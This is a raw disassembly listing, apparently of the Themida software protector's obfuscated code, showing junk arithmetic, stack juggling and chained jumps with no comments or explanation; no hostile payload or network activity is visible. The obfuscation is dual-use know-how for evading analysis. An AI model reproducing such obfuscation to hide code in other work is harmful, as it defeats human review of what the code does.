		jmp	loc_59D207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A196D:				; CODE XREF: sub_59390B+622j
		pop	eax
		jmp	loc_5A551F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_5A1973:				; CODE XREF: sub_5A17BF-C2BFj
		pop	eax
		xchg	eax, esi
		push	5036h
		mov	[esp+10h+var_10], ebp
		mov	ebp, 4C2673A4h
		shr	ebp, 3
		not	ebp
		shl	ebp, 1
		jmp	loc_5A1AC4
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_5A198E:				; CODE XREF: sub_590BDF+DEC7j
		pop	esp
		jmp	loc_595178
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1994:				; CODE XREF: sub_59390B-29ABj
		mov	eax, 6C3A0483h
		add	ecx, eax
		jmp	loc_59E4DA
; ---------------------------------------------------------------------------


loc_5A19A0:				; CODE XREF: sub_59390B-619j
					; sub_5932F7+D075j
		push	34D9h
		jmp	loc_5A5439
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_5A19AA:				; CODE XREF: sub_590AC5+10FB8j
		add	eax, 4
		push	4CDh
		mov	[esp-4+arg_0], ecx
		sub	esp, 4
		mov	[esp+0], edx
		push	56CD0090h
		pop	edx
		shl	edx, 4
		jmp	loc_59F0BF
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5A19CB:				; CODE XREF: sub_59A431-3141j
		pop	ecx
		sub	edx, 4A4863F7h
		shl	edx, 3
		sub	edx, 5EF2304h
		jmp	loc_5A137C
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_5A19E0:				; CODE XREF: sub_5A0BFE+3666j
		div	ecx
		push	52CEh
		mov	[esp+0], esi
		mov	esi, esp
		jmp	sub_5A1E76
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------


loc_5A19F1:				; CODE XREF: Themida_:0059B866j
		add	esp, 4
		push	2A21h
		mov	[esp], ebx
		jmp	loc_5A2B10
; ---------------------------------------------------------------------------


loc_5A1A04:				; CODE XREF: Themida_:005A1598j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	bh, 3Fh
		mov	cl, 7Fh
		xor	cl, bh
		mov	ebx, [esp]
		jmp	loc_595798
; ---------------------------------------------------------------------------


loc_5A1A1A:				; CODE XREF: Themida_:005A4BE3j
		push	ecx
		jmp	loc_59787A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1A20:				; CODE XREF: sub_59390B+13F8j
		add	al, 0Ch
		add	al, 3Eh
		sub	al, 5Dh
		xor	al, 61h
		add	dl, al
		pop	eax
		add	dl, 0E5h
		xor	al, dl
		pop	edx
		push	edi
		push	esp
		pop	edi
		jmp	loc_59B311
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A1A39:				; CODE XREF: Themida_:0059C1F4j
		mov	eax, 0A950399h
		sub	eax, 21FE42F9h
		neg	eax
		shr	eax, 4
		shr	eax, 8
		add	eax, 7DC0DD6Bh
		xor	esi, eax
		pop	eax
		jmp	loc_591836
; ---------------------------------------------------------------------------


loc_5A1A58:				; CODE XREF: Themida_:0059818Bj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_593C79

; =============== S U B	R O U T	I N E =======================================



sub_5A1A6C	proc near		; DATA XREF: Themida_:00590A38o
		mov	ax, [esp+0]
		jmp	sub_599F38
sub_5A1A6C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_5A1A75:				; CODE XREF: sub_590AC5+F00Fj
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	eax
		jmp	loc_5A19AA
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591745


loc_5A1A82:				; CODE XREF: sub_591745+8928j
		push	ecx
		mov	ecx, 56D1389Eh
		xor	ebp, ecx
		pop	ecx
		jmp	loc_598190
; END OF FUNCTION CHUNK	FOR sub_591745
; ---------------------------------------------------------------------------


loc_5A1A90:				; DATA XREF: Themida_:005907C8o
		push	small word ptr [edx]
		jmp	loc_59C986
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_59C45D
; ---------------------------------------------------------------------------


loc_5A1A9E:				; CODE XREF: Themida_:005A3ED0j
		push	edi
		push	21B0h
		mov	[esp], ecx
		mov	ecx, 13EF31A7h
		add	ecx, 123E4DD5h
		dec	ecx
		shl	ecx, 3
		xor	ecx, 316BFBDCh
		mov	edi, ecx
		pop	ecx
		jmp	loc_59C47D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_5A1AC4:				; CODE XREF: sub_5A17BF+1CAj
		push	edx
		jmp	loc_5963DA
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------


loc_5A1ACA:				; CODE XREF: Themida_:005912BEj
		sub	ebp, 0EA306414h
		add	ebx, ebp
		pop	ebp
		add	ebx, eax
		push	3B2h
		mov	[esp], edi
		mov	edi, 3CF6196Dh
		or	edi, 0E7B4334h
		push	edx
		mov	edx, 53AC1C1Eh
		or	edx, 4FBD7CCDh
		jmp	loc_5A3E30
; ---------------------------------------------------------------------------


loc_5A1AF9:				; CODE XREF: Themida_:005A5273j
		pop	ebx
		jmp	loc_5911BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_5A1AFF:				; CODE XREF: sub_59A75E+70Cj
		add	ecx, 4
		jmp	loc_59117B
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_5A1B0A:				; CODE XREF: Themida_:00598BD8j
		add	esi, 5C69D910h
		jmp	loc_5910BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F294


loc_5A1B15:				; CODE XREF: sub_59F294+15EAj
		mov	ebx, 3C1B63FAh
		shr	ebx, 5
		push	edx
		jmp	sub_59AB43
; END OF FUNCTION CHUNK	FOR sub_59F294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1B23:				; CODE XREF: sub_59390B+53C2j
		pop	ebp
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 53372B03h
		jmp	loc_59CA90
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598DC3


loc_5A1B32:				; CODE XREF: sub_598DC3+64C2j
		mov	esp, [esp+0]
		jmp	loc_59B349
; END OF FUNCTION CHUNK	FOR sub_598DC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F6E


loc_5A1B3A:				; CODE XREF: sub_5A3F6E-7C4Bj
		sub	ebp, 562F7FF9h
		sub	ebp, 0E9C779A1h
		add	edi, ebp
		pop	ebp
		add	edi, 4
		jmp	loc_591E36
; END OF FUNCTION CHUNK	FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3536


loc_5A1B54:				; CODE XREF: sub_5A3536-CE62j
		pop	ebp
		jmp	loc_5A4DC3
; END OF FUNCTION CHUNK	FOR sub_5A3536
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1B5A:				; CODE XREF: sub_59390B+1EA2j
		push	edx
		xor	[esp+8+var_8], 1860ECBh
		mov	eax, [esp+8+var_8]
		add	esp, 4
		jmp	sub_5947CA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_5A1B70:				; CODE XREF: sub_59FD45-B096j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		push	238Eh
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		add	eax, 0F1CFFD88h
		push	eax
		add	[esp+0Ch+var_C], 271F7617h
		pop	esi
		sub	esi, 271F7617h
		mov	eax, [esp+8+var_8]
		push	5B68h
		mov	[esp+0Ch+var_C], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5980C7
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1BC3:				; CODE XREF: sub_59390B-1BBj
		pop	ebp
		jmp	loc_591B4F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_5A1BC9:				; CODE XREF: sub_59886E+8067j
		sub	eax, 273B2834h
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		mov	ecx, [esp+0]
		push	ebp
		mov	ebp, esp
		jmp	loc_594591
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1BE0:				; CODE XREF: sub_59390B+2A4j
		sub	ebx, edx
		jmp	loc_5A1F1D
; ---------------------------------------------------------------------------


loc_5A1BE7:				; CODE XREF: sub_59390B+AEDAj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-28h+arg_20]
		mov	esp, [esp-28h+arg_20]
		jmp	loc_599A94
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A1BFB:				; CODE XREF: Themida_:00596850j
		push	ecx
		mov	ch, 0AEh
		jmp	loc_59D3A3
; ---------------------------------------------------------------------------


loc_5A1C03:				; CODE XREF: Themida_:005985A3j
		mov	[esp], edi
		mov	edi, 46EA16B7h
		add	ecx, 74553F9Eh
		add	ecx, edi
		sub	ecx, 74553F9Eh
		pop	edi
		add	eax, 0A7E0CEFh
		add	eax, ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0A7E0CEFh
		sub	eax, edx
		jmp	loc_59EC96
; ---------------------------------------------------------------------------


loc_5A1C33:				; CODE XREF: Themida_:0059DC77j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A0280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1C3E:				; CODE XREF: sub_59390B+A15j
		sub	ebx, 4E9B6EF0h
		pop	eax
		sub	ebx, 4F01265Bh
		add	edx, ebx
		pop	ebx
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A1C53:				; CODE XREF: sub_59390B+784Aj
		pop	ebx
		push	ecx
		mov	ecx, 52121C00h
		jmp	loc_59D5EE
; ---------------------------------------------------------------------------


loc_5A1C5F:				; CODE XREF: sub_59390B+10A15j
		pop	ecx
		push	ebp
		mov	ebp, 2C3D50BFh
		xor	ebp, 64627865h
		sub	ecx, ebp
		pop	ebp
		mov	esi, [esp-8+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		jmp	loc_5A114F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F6E


loc_5A1C89:				; CODE XREF: sub_5A3F6E+17DFj
		pop	esp
		jmp	loc_5921EC
; END OF FUNCTION CHUNK	FOR sub_5A3F6E
; ---------------------------------------------------------------------------


loc_5A1C8F:				; CODE XREF: Themida_:005A548Dj
		push	4AD1h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		push	esi
		mov	esi, 5E23117Eh
		not	esi
		add	esi, 0ADF1A5Dh
		jmp	loc_59F6BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_5A1CB3:				; CODE XREF: sub_59A75E-955Ej
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		jmp	loc_594714
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_5A1CCB:				; CODE XREF: Themida_:0059E28Aj
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_597861
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_5A1CD7:				; CODE XREF: sub_591FE1+9B89j
		pop	eax
		jmp	loc_5A14A1
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------


loc_5A1CDD:				; CODE XREF: Themida_:0059D50Dj
		add	al, dh
		add	al, 0B4h
		push	bx
		mov	bh, 48h
		sub	al, bh
		pop	bx
		pop	edx
		sub	bl, 4Ch
		add	bl, 22h
		add	bl, al
		jmp	loc_5A4B53
; ---------------------------------------------------------------------------


loc_5A1CF7:				; CODE XREF: Themida_:00596671j
		xor	ebp, [esp]
		jmp	loc_594EC2
; ---------------------------------------------------------------------------


loc_5A1CFF:				; CODE XREF: Themida_:0059CF78j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1D0A:				; CODE XREF: sub_59390B+4B29j
		mov	[esp+0Ch+var_C], edx
		jmp	sub_590B8D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0060


loc_5A1D12:				; CODE XREF: sub_5A0060-464Aj
		add	esp, 4
		mov	bl, ch
		mov	ecx, [esp+0]
		add	esp, 4
		add	al, bl
		jmp	loc_595741
; END OF FUNCTION CHUNK	FOR sub_5A0060
; ---------------------------------------------------------------------------


loc_5A1D2A:				; DATA XREF: Themida_:005907C0o
		mov	esp, [esp]
		jmp	loc_598068
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_5A1D32:				; CODE XREF: sub_5A2FE9-10761j
		mov	edi, 4D4C1970h
		jmp	loc_59945D
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------


loc_5A1D3C:				; CODE XREF: Themida_:00591831j
		sub	edx, 203C7FDh
		jmp	loc_594E87
; ---------------------------------------------------------------------------


loc_5A1D47:				; CODE XREF: Themida_:0059541Cj
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	al, 0F2h
		jmp	loc_597413
; ---------------------------------------------------------------------------


loc_5A1D53:				; CODE XREF: Themida_:005A4FDAj
		pop	esp
		add	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_595E47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A1D62:				; CODE XREF: sub_59CAFB-9642j
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, esp
		jmp	loc_5A08EE
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_5A1D75:				; CODE XREF: Themida_:00596356j
		pop	eax
		add	esp, 4
		push	ebp
		mov	ebp, 43D9589Ah
		xor	ebp, 3BFD3395h
		jmp	loc_5926B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_5A1D8A:				; CODE XREF: sub_59EA40-1B26j
		xor	edi, 57AD4A58h
		and	edi, 31D4CF8h
		xor	edi, 4125251Fh
		add	edi, 0BDCED255h
		mov	ecx, edi
		pop	edi
		add	esi, ecx
		pop	ecx
		jmp	loc_59A9A5
; END OF FUNCTION CHUNK	FOR sub_59EA40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1DAD:				; CODE XREF: sub_59390B+A2ACj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+0]
		jmp	loc_5A2858
; ---------------------------------------------------------------------------


loc_5A1DBE:				; CODE XREF: sub_59390B-1D5Dj
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A1DC3:				; CODE XREF: Themida_:005A2F89j
		xor	ebp, esi
		pop	esi
		add	ebp, 1
		push	0EF9h
		jmp	loc_5A47E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FA27


loc_5A1DD6:				; CODE XREF: sub_59FA27-7874j
		add	edi, 0EB3CD13Bh
		and	eax, edi
		pop	edi
		shl	eax, 2
		xor	eax, 1E1873A2h
		add	eax, 43FF15E1h
		sub	eax, 1
		jmp	sub_5950DF
; END OF FUNCTION CHUNK	FOR sub_59FA27
; ---------------------------------------------------------------------------


loc_5A1DF6:				; CODE XREF: Themida_:0059D912j
		add	bh, 5Ch
		xor	dl, bh
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_594EFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A958


loc_5A1E0A:				; CODE XREF: sub_59A958-1F46j
		pop	edi
		jmp	loc_5A0B37
; END OF FUNCTION CHUNK	FOR sub_59A958
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1E10:				; CODE XREF: sub_59390B+612Bj
		pop	ebp
		push	edi
		push	edx
		jmp	loc_59BBC3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_5A1E18:				; CODE XREF: sub_59F53F-1B46j
		pop	esp
		idiv	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		sub	esp, 4
		mov	[esp-8+arg_4], ebp
		push	440251E2h
		jmp	loc_592B3E
; END OF FUNCTION CHUNK	FOR sub_59F53F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_5A1E38:				; CODE XREF: sub_5A17BF-25E3j
		inc	edx
		push	ebp
		push	ecx
		mov	ecx, 4D09D758h
		mov	ebp, ecx
		jmp	loc_5954E8
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A072


loc_5A1E47:				; CODE XREF: sub_59A072-AA7j
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59A072
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1E4C:				; CODE XREF: sub_59390B-1984j
		mov	edi, [esp-0Ch+arg_4]
		add	esp, 4


loc_5A1E52:				; CODE XREF: Themida_:005997E9j
		push	ebp
		push	esp
		jmp	loc_5949C2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A1E59:				; CODE XREF: Themida_:005A0BCCj
		mov	ebx, [esp]
		add	esp, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		xor	ebx, eax
		xor	edx, eax
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A1E6F:				; CODE XREF: Themida_:00598553j
		sub	ebp, esi
		jmp	loc_597328

; =============== S U B	R O U T	I N E =======================================



sub_5A1E76	proc near		; CODE XREF: sub_5A0BFE+DEEj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059E16C SIZE 00000056 BYTES
; FUNCTION CHUNK AT 0059FE73 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_59E16C
sub_5A1E76	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_5A1E81:				; CODE XREF: sub_5932F7+110D1j
		pop	edi
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_59A4A2
; END OF FUNCTION CHUNK	FOR sub_5932F7
; ---------------------------------------------------------------------------


loc_5A1E93:				; CODE XREF: Themida_:005996E7j
		pop	ecx
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_59A838
; ---------------------------------------------------------------------------


loc_5A1EA2:				; DATA XREF: Themida_:005909E4o
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59CCB8
; ---------------------------------------------------------------------------


loc_5A1EAD:				; CODE XREF: Themida_:0059FAA0j
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_59E1E5
; ---------------------------------------------------------------------------


loc_5A1EBC:				; CODE XREF: Themida_:005A451Ej
		mov	[esp], ebp
		mov	ebp, 5C4A2709h
		push	8F9E6AFh
		mov	edi, [esp]
		add	esp, 4
		add	edi, ebp
		pop	ebp
		xor	eax, edi
		pop	edi
		sub	edx, 4F60091Ah
		add	edx, 2E241A6Ch
		add	edx, eax
		sub	edx, 2E241A6Ch
		push	ecx
		mov	ecx, 4F60091Ah
		jmp	loc_59F4FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_5A1EF7:				; CODE XREF: sub_5A4CDD-A12Bj
		push	eax
		mov	eax, 760E70C6h
		not	eax
		push	ecx
		mov	ecx, 0BAA733Fh
		neg	ecx
		not	ecx
		inc	ecx
		jmp	loc_59DCEF
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------


loc_5A1F0F:				; CODE XREF: Themida_:0059D617j
		push	ebx
		jmp	loc_59DD48
; ---------------------------------------------------------------------------


loc_5A1F15:				; CODE XREF: Themida_:00599AAEj
		pop	esi
		push	ecx
		pop	ebp
		jmp	loc_59C872
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1F1D:				; CODE XREF: sub_59390B+E2D7j
		sub	ebx, 5A712E29h
		mov	edx, [esp-10h+arg_8]
		jmp	loc_5A1069
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A1F2B:				; CODE XREF: Themida_:005A51D2j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		jmp	loc_5A0845
; ---------------------------------------------------------------------------


loc_5A1F38:				; CODE XREF: Themida_:0059D6B5j
		sub	ecx, 0DFDB7AF4h
		xor	edx, ecx
		pop	ecx
		sub	edx, 3657D4BDh
		push	ecx
		mov	ecx, 691C1731h
		sub	esi, ecx
		push	dword ptr [esp]
		jmp	loc_5935D3
; ---------------------------------------------------------------------------


loc_5A1F57:				; CODE XREF: Themida_:00592064j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	edi
		mov	edi, 4
		sub	edx, 166A29A6h
		jmp	loc_596EA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1F81:				; CODE XREF: sub_59390B+C0C6j
		xchg	esi, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], esi
		jmp	loc_592AC2
; ---------------------------------------------------------------------------


loc_5A1F8D:				; CODE XREF: sub_59390B+1020Bj
		dec	edx
		add	edx, 0B7AE1028h
		push	ebx
		mov	ebx, edx
		mov	esi, ebx
		pop	ebx
		jmp	loc_5A42C3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C8E


loc_5A1F9F:				; CODE XREF: sub_597C8E+376Cj
		mov	[esp+0], edx
		push	ecx
		mov	ecx, 48244156h
		mov	edx, ecx
		jmp	loc_5A475F
; END OF FUNCTION CHUNK	FOR sub_597C8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_5A1FAF:				; CODE XREF: sub_59E918-549j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_59837C
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5A1FB8:				; CODE XREF: sub_599AE1+A415j
		pop	edi
		xor	edi, 20C624A6h
		jmp	loc_595164
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_5A1FC4:				; CODE XREF: Themida_:00591E25j
		mov	edx, 3752263Bh
		mov	esi, 0C8ADD9C9h
		add	esi, edx
		pop	edx
		add	edx, esi
		pop	esi
		jmp	loc_595BF7
; ---------------------------------------------------------------------------


loc_5A1FD9:				; CODE XREF: Themida_:0059CB84j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	748Ch
		jmp	loc_59315C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_5A1FEE:				; CODE XREF: sub_591FE1+F4FFj
		mov	[esp+4+var_4], eax
		jmp	loc_5938E9
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_5A1FF6:				; CODE XREF: sub_59A4D6-4E78j
		mov	edx, 9DDADF37h
		push	ebx
		mov	ebx, 57A86A9Bh
		xor	ebx, 639556C4h
		sub	ebx, 791F6C2Fh
		xor	ebx, 0CAE8BAF7h
		sub	edx, ebx
		jmp	loc_5A2CCC
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B7


loc_5A201A:				; CODE XREF: sub_5A16B7+Cj
		sub	ebp, 0E7CFDA6Bh
		add	edx, ebp
		jmp	loc_5930D7
; END OF FUNCTION CHUNK	FOR sub_5A16B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59822A


loc_5A2027:				; CODE XREF: sub_59822A+BC8j
		push	ecx
		push	2
		push	[esp+8+var_8]
		pop	ecx
		add	esp, 4
		add	eax, ecx
		jmp	loc_591212
; END OF FUNCTION CHUNK	FOR sub_59822A
; ---------------------------------------------------------------------------


loc_5A203B:				; CODE XREF: Themida_:00591BE0j
		add	edx, ecx
		add	edx, 69A6BA3h
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59EAAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2069:				; CODE XREF: sub_59390B+C546j
		mov	[esp+0], esi
		mov	esi, 439B1336h
		mov	ecx, esi
		jmp	loc_595375
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A2078:				; CODE XREF: Themida_:005A0BD5j
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_5A32E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_5A2081:				; CODE XREF: sub_5A51EA-10C1Bj
		sub	al, 0CFh
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		push	dword ptr [esp+0]
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_59E7F7
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A2097:				; CODE XREF: sub_59390B+D1FEj
		xor	ebx, ecx
		jmp	loc_596F0D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_5A209E:				; CODE XREF: sub_59EA40-6C96j
		pop	esi
		xor	edx, 1BA3BB15h
		mov	edi, edx
		jmp	loc_591E98
; END OF FUNCTION CHUNK	FOR sub_59EA40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A20AC:				; CODE XREF: sub_59390B+7444j
		add	eax, 3199541Eh
		sub	eax, ebx
		push	ebx
		jmp	loc_599B1B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A20B9:				; CODE XREF: Themida_:00594582j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		xor	[esp], ax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A20E0:				; CODE XREF: Themida_:0059F192j
		inc	edx
		shl	edx, 4
		sub	edx, 2923A541h
		add	esi, 61A257A3h
		add	esi, edx
		jmp	loc_59357C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_5A20F7:				; CODE XREF: sub_59E918-9B5j
		push	0E52344Ah
		pop	edx
		not	edx
		push	ebx
		sub	esp, 4
		mov	[esp+18h+var_18], esi
		push	35378D0h
		jmp	loc_5A0031
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_5A2110:				; CODE XREF: Themida_:005A3049j
		add	al, 7Bh
		add	al, bl
		sub	al, 7Bh
		push	edx
		mov	dl, 0B1h
		jmp	loc_59A14A
; ---------------------------------------------------------------------------


loc_5A211E:				; CODE XREF: Themida_:00591D30j
		push	ebx
		jmp	loc_598DD9
